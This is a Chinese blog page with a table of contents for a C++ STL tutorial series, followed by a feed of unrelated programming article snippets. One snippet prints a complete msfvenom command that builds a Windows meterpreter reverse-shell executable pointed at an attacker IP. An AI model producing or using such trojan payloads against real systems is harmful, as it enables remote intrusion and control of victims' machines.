当前位置：首页 > news >正文

C++，STL，【目录篇】

news 来源：原创 2025/5/18 15:01:50

请添加图片描述

文章目录

一、简介
二、内容提纲
- 第一部分：STL 概述
- 第二部分：STL 容器
- 第三部分：STL 迭代器
- 第四部分：STL 算法
- 第五部分：STL 函数对象
- 第六部分：STL 高级主题
- 第七部分：STL 实战应用
三、写作风格
四、目标读者
五、预期成果
六、其他

一、简介

C++ Standard Template Library (STL) 是 C++ 标准库的重要组成部分，它提供了一系列通用的模板类和函数，用于实现常用的数据结构和算法。STL 的优势在于其高效性、通用性和易用性，可以极大地提高 C++ 程序的开发效率。

本系列博客旨在深入浅出地讲解 C++ STL 的各个方面，包括其核心组件、常用算法、使用技巧以及底层实现原理。通过本系列博客的学习，读者将能够：

熟练掌握 STL 的各种容器、迭代器、算法和函数对象。
理解 STL 的设计思想和实现原理。
能够灵活运用 STL 解决实际问题。
提升 C++ 编程能力和代码质量。

二、内容提纲

第一部分：STL 概述

STL 简介：历史、组成、优势
STL 六大组件：容器、迭代器、算法、函数对象、适配器、分配器
STL 头文件组织：结构、分类与最佳实践
STL 命名空间：理解 std 的作用、规范与陷阱

第二部分：STL 容器

序列式容器：
- vector：动态数组的原理、使用与极致优化
- deque：双端队列的深度解析
- list：双向链表深度解析
- forward_list：单向链表
- array：固定大小数组
关联式容器：
- set/multiset：集合/多重集合
- map/multimap：映射/多重映射
无序关联式容器：
- unordered_set/unordered_multiset：无序集合/无序多重集合
- unordered_map/unordered_multimap：无序映射/无序多重映射
容器适配器：
- stack：栈
- queue：队列
- priority_queue：优先队列

第三部分：STL 迭代器

迭代器简介：概念、分类、操作
输入迭代器、输出迭代器、前向迭代器、双向迭代器、随机访问迭代器
迭代器适配器：
- reverse_iterator：反向迭代器
- insert_iterator：插入迭代器
- move_iterator：移动迭代器

第四部分：STL 算法

算法简介：分类、使用
非修改序列算法：
- for_each：遍历
- find/find_if：查找
- count/count_if：计数
- equal：比较
- search：搜索
修改序列算法：
- copy/copy_if：复制
- move：移动
- fill：填充
- replace/replace_if：替换
- remove/remove_if：删除
排序算法：
- sort：排序
- stable_sort：稳定排序
- partial_sort：部分排序
- nth_element：第 n 个元素
数值算法：
- accumulate：累加
- inner_product：内积
- partial_sum：部分和
- adjacent_difference：相邻差

第五部分：STL 函数对象

函数对象简介：概念、使用
算术函数对象：plus、minus、multiplies、divides、modulus、negate
关系函数对象：equal_to、not_equal_to、greater、less、greater_equal、less_equal
逻辑函数对象：logical_and、logical_or、logical_not

第六部分：STL 高级主题

内存分配器
类型萃取
仿函数适配器
STL 扩展
STL 源码剖析

第七部分：STL 实战应用

STL 在算法竞赛中的应用
STL 在项目开发中的应用
STL 性能优化技巧

三、写作风格

通俗易懂，图文并茂，代码示例丰富。
理论与实践相结合，注重实际应用。
循序渐进，由浅入深，适合不同层次的读者。

四、目标读者

对 C++ STL 感兴趣的初学者
希望深入学习 STL 的中高级 C++ 程序员
准备参加算法竞赛的选手

五、预期成果

帮助读者系统掌握 C++ STL 的知识体系。
提升读者的 C++ 编程能力和代码质量。
为读者进一步学习 C++ 高级主题打下坚实的基础。

六、其他

本系列博客将持续更新，敬请关注。
欢迎读者提出宝贵意见和建议。

C++，STL，【目录篇】

文章目录一、简介二、内容提纲第一部分：STL 概述第二部分：STL 容器第三部分：STL 迭代器第四部分：STL 算法第五部分：STL 函数对象第六部分：STL 高级主题第七部分：STL 实战应用三、写作风格四、…...

编程日记 2025/5/18 15:01:50

《数据可视化新高度：Graphy的AI协作变革》

在数据洪流奔涌的时代，企业面临的挑战不再仅仅是数据的收集，更在于如何高效地将数据转化为洞察，助力决策。Graphy作为一款前沿的数据可视化工具，凭借AI赋能的团队协作功能，为企业打开了数据协作新局面，重新…...

编程日记 2025/5/18 17:27:47

abc 390 D(暴搜复杂度用 bell数证明 n 的集合的划分方法的数目）

D题意： 将长度为 N 的数组划分为集合有多少种不同的异或和这道题做出来和bell 数没什么关系，如果要证明复杂度那么就需要bell 数 #include <bits/stdc.h> using namespace std; typedef pair<int, int> PII; #define int long long i…...

编程日记 2025/5/17 8:00:31

AJAX综合案例——图书管理

黑马程序员视频地址： AJAX-Day02-10.案例_图书管理AJAX-Day02-10.案例_图书管理_总结_V1.0是黑马程序员前端AJAX入门到实战全套教程，包含学前端框架必会的（ajaxnode.jswebpackgit），一套全覆盖的第25集视频&#xff0c…...

编程日记 2025/5/18 12:27:24

计算机网络笔记网络层 3

IPv6 IPv6 是互联网协议第 6 版（Internet Protocol Version 6）的缩写，它是下一代互联网协议，旨在解决 IPv4 面临的一些问题，以下是关于 IPv6 的详细介绍： 产生背景： 随着互联网的迅速发展&…...

编程日记 2025/5/16 2:45:43

Web服务器启动难题：Spring Boot框架下的异常处理解析

摘要在尝试启动Web服务器时遇到了无法启动的问题，具体错误为org.springframework.boot.web.server.WebServerException。这一异常表明Spring Boot框架在初始化Web服务器过程中出现了故障。通常此类问题源于配置文件错误、端口冲突或依赖项缺失等。排查时应首先检查…...

编程日记 2025/5/19 9:55:34

下载安装包 wget https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda-repo-rhel8-12-8-local-12.8.0_570.86.10-1.x86_64.rpm 安装RPM包 sudo rpm -i cuda-repo-rhel8-12-8-local-12.8.0_570.86.10-1.x86_64.rpm sudo dnf clean all sudo dnf…...

编程日记 2025/5/17 5:53:05

计算机视觉和图像处理

计算机视觉与图像处理的最新进展随着人工智能技术的飞速发展，计算机视觉和图像处理作为其中的重要分支，正逐步成为推动科技进步和产业升级的关键力量。一、计算机视觉的最新进展计算机视觉，作为人工智能的重要分支，主要研究如…...

编程日记 2025/5/18 8:26:29

Spring Boot 日志：项目的“行车记录仪”

一、什么是Spring Boot日志 （一）日志引入在正式介绍日志之前，我们先来看看上篇文章中（Spring Boot 配置文件）中的验证码功能的一个代码片段： 这是一段校验用户输入的验证码是否正确的后端代码&#xff0c…...

编程日记 2025/5/19 10:12:45

ComfyUI中For Loop的使用

研究了半天，终于弄明白了如何使用For Loop。 1、在For中节点，必须有输出连接到For Loop End的initial_value点，才能确保节点执行完毕后才进入下一轮循环，否则，可能导致节点没执行完，就进入下一个循环了。…...

编程日记 2025/5/19 8:42:55

网站快速收录：利用网站导航优化用户体验

本文转自：百万收录网原文链接：https://www.baiwanshoulu.com/44.html 网站快速收录与用户体验的提升密切相关，而网站导航作为用户访问网站的“指南针”，其优化对于实现这一目标至关重要。以下是一些利用网站导航优化用户体验&am…...

编程日记 2025/5/19 10:00:36

FLTK - FLTK1.4.1 - 搭建模板，将FLTK自带的实现搬过来做实验

文章目录 FLTK - FLTK1.4.1 - 搭建模板，将FLTK自带的实现搬过来做实验概述笔记my_fltk_test.cppfltk_test.hfltk_test.cxx用adjuster工程试了一下，好使。END FLTK - FLTK1.4.1 - 搭建模板，将FLTK自带的实现搬过来做实验概述用fluid搭建UI…...

编程日记 2025/5/18 16:32:11

c#aot做跨平台动态库

c#aot技术，很多人都觉得是垃圾，没有用，其实还是很有用的。.net发展这么多年，有很多很好的功能，你可以把这些功能做成动态库供rust调用，供c/c调用。你还真别看不起这些功能，当你需要，…...

编程日记 2025/5/17 18:25:59

使用Pygame制作“打砖块”游戏

1. 前言打砖块（Breakout / Arkanoid） 是一款经典街机游戏，玩家控制一个可左右移动的挡板，接住并反弹球，击碎屏幕上方的砖块。随着砖块被击碎，不仅能获得分数，还可以体验到不断加速或复杂的反弹…...

编程日记 2025/5/19 9:33:37

Autosar-以太网是怎么运行的？（原理部分）

写在前面： 入行一段时间了，基于个人理解整理一些东西，如有错误，欢迎各位大佬评论区指正！！！ 1.TCP/IP协议详解 TCP/IP协议包含了一系列的协议，也叫TCP/IP协议族（TCP/IP P…...

编程日记 2025/5/12 7:32:50

小程序-基础加强-自定义组件

前言这次讲自定义组件 1. 准备今天要用到的项目 2. 初步创建并使用自定义组件这样就成功在home中引入了test组件在json中引用了这个组件才能用这个组件现在我们来实现全局引用组件在app.json这样使用就可以了 3. 自定义组件的样式发现页面里面的文本和组件里面的文…...

编程日记 2025/5/17 13:32:20

线程池以及在QT中的接口使用

文章目录前言线程池架构组成**一、任务队列（Task Queue）****二、工作线程组（Worker Threads）****三、管理者线程（Manager Thread）** 系统协作流程图解一、QRunnable二、QThreadPool三、线程池的应用场景W…...

编程日记 2025/5/16 14:58:50

Cubemx文件系统挂载多设备

cubumx版本：6.13.0 芯片：STM32F407VET6 在上一篇文章中介绍了Cubemx的FATFS和SD卡的配置，由于SD卡使用的是SDIO通讯，因此具体驱动不需要自己实现，Cubemx中就可以直接配置然后生成SDIO的驱动，并将SD卡驱动和…...

编程日记 2025/5/17 3:34:00

NeetCode刷题第19天(2025.1.31)

文章目录 099 Maximum Product Subarray 最大乘积子数组100 Word Break 断字101 Longest Increasing Subsequence 最长递增的子序列102 Maximum Product Subarray 最大乘积子数组103 Partition Equal Subset Sum 分区等于子集和104 Unique Paths 唯一路径105 Longest Common Su…...

编程日记 2025/5/19 9:45:31

网站快速收录：如何设置robots.txt文件？

本文转自：百万收录网原文链接：https://www.baiwanshoulu.com/34.html 为了网站快速收录而合理设置robots.txt文件，需要遵循一定的规则和最佳实践。robots.txt文件是一个纯文本文件，它告诉搜索引擎爬虫哪些页面可以访问&#xff…...

编程日记 2025/5/18 13:00:37

（超实用教程）利用MSF制作exe程序木马

msfvenom 是攻击载荷（payload）生成器格式： msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.110.32 LPORT4456 -f exe -o payload1.exe -p：指定需要使用的payload -f：指定输出格式 -o：保…...

编程日记 2025/5/19 9:23:21

Spring Boot + Facade Pattern : 通过统一接口简化多模块业务

文章目录 Pre概述在编程中，外观模式是如何工作的？外观设计模式 UML 类图外观类和子系统的关系优点案例外观模式在复杂业务中的应用实战运用1. 项目搭建与基础配置2. 构建子系统组件航班服务酒店服务旅游套餐服务 3. 创建外观类4. 在 Controller 中使用外…...

编程日记 2025/5/15 21:53:53

4 [危机13小时追踪一场GitHub投毒事件]

事件概要自北京时间 2024.12.4 晚间6点起， GitHub 上不断出现“幽灵仓库”，仓库中没有任何代码，只有诱导性的病毒文件。当天，他们成为了 GitHub 上 star 增速最快的仓库。超过 180 个虚假僵尸账户正在传播病毒，等待不…...

编程日记 2025/5/16 5:55:30

Java基础——分层解耦——IOC和DI入门

目录三层架构 Controller Service Dao 编辑调用过程面向接口编程分层解耦耦合内聚软件设计原则控制反转依赖注入 Bean对象如何将类产生的对象交给IOC容器管理？ 容器怎样才能提供依赖的bean对象呢？ 三层架构 Controller 控制…...

编程日记 2025/5/17 20:03:11

10 Flink CDC

10 Flink CDC 1. CDC是什么2. CDC 的种类3. 传统CDC与Flink CDC对比4. Flink-CDC 案例5. Flink SQL 方式的案例 1. CDC是什么 CDC 是 Change Data Capture（变更数据获取）的简称。核心思想是，监测并捕获数据库的变动（包括数据或数…...

编程日记 2025/5/14 22:47:47

F. Greetings

题目链接：Problem - F - Codeforces 题目大意：给你n个线段， 求有多少对（两个）线段满足完全覆盖， 例如： 设一个线段有a,b两点， 满足 ai < aj < bj < bi (i,j为每个线段的下…...

编程日记 2025/5/17 20:02:51

深度学习练手小例子——cifar10数据集分类问题

CIFAR-10 是一个经典的计算机视觉数据集，广泛用于图像分类任务。它包含 10 个类别的 60,000 张彩色图像，每张图像的大小是 32x32 像素。数据集被分为 50,000 张训练图像和 10,000 张测试图像。每个类别包含 6,000 张图像，具体类别包括&#x…...

编程日记 2025/5/19 9:36:22

Sqoop源码修改：增加落地HDFS文件数与MapTask数量一致性检查

个人博客地址：Sqoop源码修改：增加落地HDFS文件数与MapTask数量一致性检查 | 一张假钞的真实世界本篇是对记录一次Sqoop从MySQL导入数据到Hive问题的排查经过的补充。 Sqoop 命令通过 bin 下面的脚本调用，调用如下： exec ${HAD…...

编程日记 2025/5/19 9:49:04

FastAPI + GraphQL + SQLAlchemy 实现博客系统

本文将详细介绍如何使用 FastAPI、GraphQL（Strawberry）和 SQLAlchemy 实现一个带有认证功能的博客系统。技术栈 FastAPI：高性能的 Python Web 框架Strawberry：Python GraphQL 库SQLAlchemy：Python ORM 框架JWT&…...

编程日记 2025/5/19 9:37:55

AI编程：如何编写提示词

这是小卷对AI编程工具学习的第2篇文章，今天讲讲如何编写AI编程的提示词，并结合实际功能需求案例来进行开发 1.编写提示词的技巧好的提示词应该是：目标清晰明确，具有针对性，能引导模型理解问题下面是两条提示词的对…...

编程日记 2025/5/19 8:13:59

【LLM-agent】(task5)构建哲学家多智能体

note 通过编排动作设置哲学家智能体的"示例任务"，目的是让 Agent 更好地理解如何回答问题。主要包括设置示例问题、定义思考过程、应用到所有哲学家。建立了一个"先思考，后总结"的回答模式，这种方式相当于给AI提供了一个…...

编程日记 2025/5/12 19:53:47

31. 下一个排列

参考题解：https://leetcode.cn/problems/next-permutation/solutions/80560/xia-yi-ge-pai-lie-suan-fa-xiang-jie-si-lu-tui-dao- 找到下一个排列，即找到下一个大于当前数的更大的数。当没有比当前更大的数的时候，那么就返回最小的数&…...

编程日记 2025/5/19 9:42:34

牛客周赛 Round 78

题目目录 A-时间表查询！解题思路参考代码 B-一起做很甜的梦！解题思路参考代码 C-翻之解题思路参考代码 D-乘之解题思路参考代码 E-在树上游玩解题思路参考代码 A-时间表查询！ \hspace{15pt} 今天是2025年1月25日，今年的六场牛客寒…...

编程日记 2025/5/17 15:23:10

100.1 AI量化面试题：解释夏普比率(Sharpe Ratio)的计算方法及其在投资组合管理中的应用，并说明其局限性

目录 0. 承前1. 夏普比率的基本概念1.1 定义与计算方法1.2 实际计算示例 2. 在投资组合管理中的应用2.1 投资组合选择2.2 投资组合优化 3. 夏普比率的局限性3.1 统计假设的限制3.2 实践中的问题 4. 改进方案4.1 替代指标4.2 实践建议 5. 回答话术 0. 承前如果想更加全面清晰地…...

编程日记 2025/5/13 12:59:05

jEasyUI 转换 HTML 表格为数据网格

jEasyUI 转换 HTML 表格为数据网格引言随着互联网技术的飞速发展，前端框架和库的应用越来越广泛。jEasyUI 是一款功能强大的 jQuery UI 扩展库，它提供了丰富的 UI 组件，其中数据网格（DataGrid）是 jEasyUI 中一个非常重要的组件。本文将详细介绍如何使用 jEasyUI 将一个…...

编程日记 2025/5/13 9:32:57

好用的翻译工具

最近看到个好用的翻译工具，叫沉浸式翻译沉浸式翻译 - 双语对照网页翻译插件 | PDF翻译 | 视频字幕翻译我下载的是谷歌插件点击下载插件会跳转到使用文档，跟着一步步操作即可翻译的效果，我这里用的是免费版的，如果需要加强&…...

编程日记 2025/5/13 5:37:58

Selenium 使用指南：从入门到精通

Selenium 使用指南：从入门到精通 Selenium 是一个用于自动化 Web 浏览器操作的强大工具，广泛应用于自动化测试和 Web 数据爬取中。本文将带你从入门到精通地掌握 Selenium，涵盖其基本操作、常用用法以及一个完整的图片爬取示例。 1. 环境配…...

编程日记 2025/5/15 15:07:31

字节iOS面试经验分享：HTTP与网络编程

字节iOS面试经验分享：HTTP与网络编程 🌟 嗨，我是LucianaiB！ 🌍 总有人间一两风，填我十万八千梦。 🚀 路漫漫其修远兮，吾将上下而求索。目录字节iOS面试经验分享：HTT…...

编程日记 2025/5/16 14:44:05

10.7 LangChain Models深度解析：解锁大模型集成与调优的全景攻略

LangChain Models深度解析：解锁大模型集成与调优的全景攻略关键词： LangChain Models模块、大模型集成、LLM调用优化、多模型管理、本地模型部署一、Models模块的定位：大模型应用的“中央调度器” 传统开发的痛点：碎片化集成：每个模型需单独编写适配代码性能黑洞：缺…...

编程日记 2025/5/9 12:47:29

本地部署 DeepSeek-R1：简单易上手，AI 随时可用！

🎯 先看看本地部署的运行效果为了测试本地部署的 DeepSeek-R1 是否真的够强，我们随便问了一道经典的“鸡兔同笼”问题，考察它的推理能力。 📌 问题示例： 笼子里有鸡和兔，总共有 35 只头，94 只…...

编程日记 2025/5/16 17:41:27

cf集合***

当周cf集合，我也不知道是不是当周的了，麻了，下下周争取写到e补f C. Kevin and Puzzle（999） 题解：一眼动态规划，但是具体这个状态应该如何传递呢？ 关键点：撒谎的人不相…...

编程日记 2025/5/16 21:27:42

【机器学习理论】生成模型和判别模型

生成模型和判别模型是机器学习中两种不同的建模方式。生成模型关注的是联合概率分布 P ( X , Y ) P(X, Y) P(X,Y)，即同时考虑数据 X X X和标签 Y Y Y的关系；判别模型则直接学习条件概率 P ( Y ∣ X ) P(Y|X) P(Y∣X)或决策边界。生成模型生成模型的目…...

编程日记 2025/5/15 22:33:41

图漾相机——C++语言属性设置

文章目录前言1.SDK API功能介绍1.1 Device组件下的API测试1.1.1 相机工作模式设置（TY_TRIGGER_PARAM_EX）1.1.2 TY_INT_FRAME_PER_TRIGGER1.1.3 TY_INT_PACKET_DELAY1.1.4 TY_INT_PACKET_SIZE1.1.5 TY_BOOL_GVSP_RESEND1.1.6 TY_BOOL_TRIGGER_OUT_IO1.1.…...

编程日记 2025/5/16 21:20:53

如何在Windows、Linux和macOS上安装Rust并完成Hello World

如何在Windows、Linux和macOS上安装Rust并完成Hello World 如果你刚刚开始学习Rust，第一步就是安装Rust并运行你的第一个程序！本文将详细介绍如何在Windows、Linux和macOS上安装Rust，并编写一个简单的“Hello, World!”程序。 1. 安装Rust …...

编程日记 2025/5/16 11:40:02

基于VMware的ubuntu与vscode建立ssh连接

1.首先安装openssh服务 sudo apt update sudo apt install openssh-server -y 2.启动并检查ssh服务状态到这里可以按q退出之后输入命令 ： ip a 红色挡住的部分就是我们要的地址，这里就不展示了哈 3.配置vscode 打开vscode 搜索并安装：…...

编程日记 2025/5/16 10:54:58

Redis 集合（Set）

Redis 集合（Set）引言 Redis 是一款高性能的键值存储数据库，其支持多种数据结构，其中包括集合（Set）。集合是一个无序的、元素唯一的集合数据结构，它非常适合存储需要去重和高效检索的数据。本文将详细介绍 Redis 集合的数据结构、操作方法以及应用场景。 Redis 集合数…...

编程日记 2025/5/17 13:56:51

（笔记+作业）书生大模型实战营春节卷王班---L0G2000 Python 基础知识

学员闯关手册：https://aicarrier.feishu.cn/wiki/QtJnweAW1iFl8LkoMKGcsUS9nld 课程视频：https://www.bilibili.com/video/BV13U1VYmEUr/ 课程文档：https://github.com/InternLM/Tutorial/tree/camp4/docs/L0/Python 关卡作业：htt…...

编程日记 2025/5/19 2:16:22

stm32硬件实现与w25qxx通信

使用的型号为stm32f103c8t6与w25q64。 STM32CubeMX配置与引脚衔接根据stm32f103c8t6引脚手册，采用B12-B15四个引脚与W25Q64连接，实现SPI通信。 W25Q64SCK（CLK）PB13MOSI（DI）PB15MISO(DO)PB14CS&#xff08…...

编程日记 2025/5/17 4:19:32

群晖Alist套件无法挂载到群晖webdav，报错【连接被服务器拒绝】

声明：我不是用docker安装的在套件中心安装矿神的Alist套件后，想把夸克挂载到群晖上，方便复制文件的，哪知道一直报错，最后发现问题出在两个地方： 1）挂载的路径中，直接填 dav &…...

编程日记 2025/5/14 18:40:10

MySQL 如何深度分页问题

在实际的数据库应用场景中，我们常常会遇到需要进行分页查询的需求。对于少量数据的分页查询，MySQL 可以轻松应对。然而，当我们需要进行深度分页（即从大量数据的中间位置开始获取少量数据）时，就会面临性能严…...

编程日记 2025/5/16 10:54:12